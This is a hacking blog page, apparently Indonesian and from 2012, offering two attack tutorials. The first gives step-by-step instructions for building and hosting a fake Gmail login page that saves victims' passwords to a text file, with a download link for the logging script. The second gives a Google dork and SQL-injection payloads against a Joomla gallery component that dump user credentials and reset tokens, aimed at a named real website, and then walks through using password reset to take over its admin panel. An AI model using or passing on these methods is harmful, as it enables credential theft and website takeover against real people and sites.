ADITYA NEWBIE

mau share lagi =))
before continuing, please provide a translation google :D

I could simply give you the fake page generators or already made fake web pages but I want you to manually create yourself.

First, I shoud tell you the basic methodology of making phishing page of
any website. In a website where the users are supposed to enter/submit
any data (data might be email,password or anything), there is a piece of
code in html code called as action form. It looks like this
<form method="POST" action="something">.
You can find this out by simply viewing the source of web page. Right
click on webpage to do so. "something" here in the action field is name
or path of the file where submitted data goes. So the idea of fake login page is simple. Just download the webpage on your computer, modify the action field
to change the path where data goes according to yourself, upload this
modified webpage on any web hosting site and you are done. :) I have taken example of gmail. Download a php file and a text file fromhttp://www.ziddu.com/download/13323817/explore.rar.html which would be required. password: explorehacking.com

Setps to make a phishing/fake login page :-

1. First of all, sign up for a account at any free webhosting site like my3gb.com,ripway.com,110mb.com etc. I have chosen my3gb.com

2.Goto www.gmail.com. Click on 'Save page as' option and save
the complete web page. You must have got a html file and a folder in
which there must be two images.

3. Open the html file in any text editor like wordpad or notepad. Press "Ctrl+F" to search for word "action".

4. Replace the link in action field by "explore.php" and save it.

5. Go to File Manager and Upload this html file ,hacked.txt , explore.php on your web hosting site.

Note: Make a new directory with name exactly same as name of folder in which images are there.
Upload the images in that directory

Now you can test whether it works or not. Just visit your fake login page.It must be http://username.my3gb.com/filename.html. Enter any username and password , you will be redirected to real gmail webpage.The data must have been saved in hacked.txt

Note: You can see the code of explore.php . There is a line like header:"location: path". It is
actually the path where victim would be redirected after submitting data. You can change it as per your need.

oke , selamat Mncoba Saudara ku ^_^narekk becak lagii ah .! :P =))

ga sengaja tadi jalan2 nemu exploit, bagi yang udah tau maaf
yah ane hanya ingin berbagi aja, berbagi itu indah :D
jangan malas
yah cari di goolge :D ======
=step1=
======

coba
kita cari di google dengan dork ini :
inurl:"index.php
option=com_ignitegallery"
======
=step2=
======

pasang
exploitnya exploit :
index.php?option=com_ignitegallery&task=view&gallery=-4+union+all+select+1,2,group_concat(id,0x3a,name,0x3a,username,0x3a,email,0x3a,password,0x3a,usertype),4,5,6,7,8,9,10+from+jos_users--

contoh
: http://www.kaikourafishing.co.nz/index.php?option=com_ignitegallery&task=view&gallery=-4+union+all+select+1,2,group_concat%28id,0x3a,name,0x3a,username,0x3a,email,0x3a,password,0x3a,usertype%29,4,5,6,7,8,9,10+from+jos_users--

nah
muncul kan tuh :D
======
=step3=
======

coba
kita reset password nya
sekarang kita reset
password dengan menggunakan exploit ini : /index.php?option=com_user&view=reset

hm..
minta email dia.. masukin aja email admin tadi..
enter
deh :D
======
=step4=
======

wah
minta activation pula, tenang kita cari dulu activationnya :D
exploit
: index.php?option=com_ignitegallery&task=view&gallery=-4+union+all+select+1,2,group_concat(id,0x3a,name,0x3a,username,0x3a,email,0x3a,password,0x3a,activation),4,5,6,7,8,9,10+from+jos_users--

tuh
kan kluar activatifasinya :D
======
=step5=
======

copas
aja ke yang tadi lalu enter :D
======
=step6=
======

sekarang
meminta password baru :D
======
=step7=
======

oke
langsung ke taham berikutnya, sekarang kita masuk ke adminnya http://www.kaikourafishing.co.nz/administrator/

Senin, 09 Juli 2012

0 Deface web "powered by Aditya Newbie"

0 Phishing - Creating,uploading and using fake login pages

0 Exploit Joomla

Search

Akuu

Followers

Pages

My Profile

Categories

Blog Archieve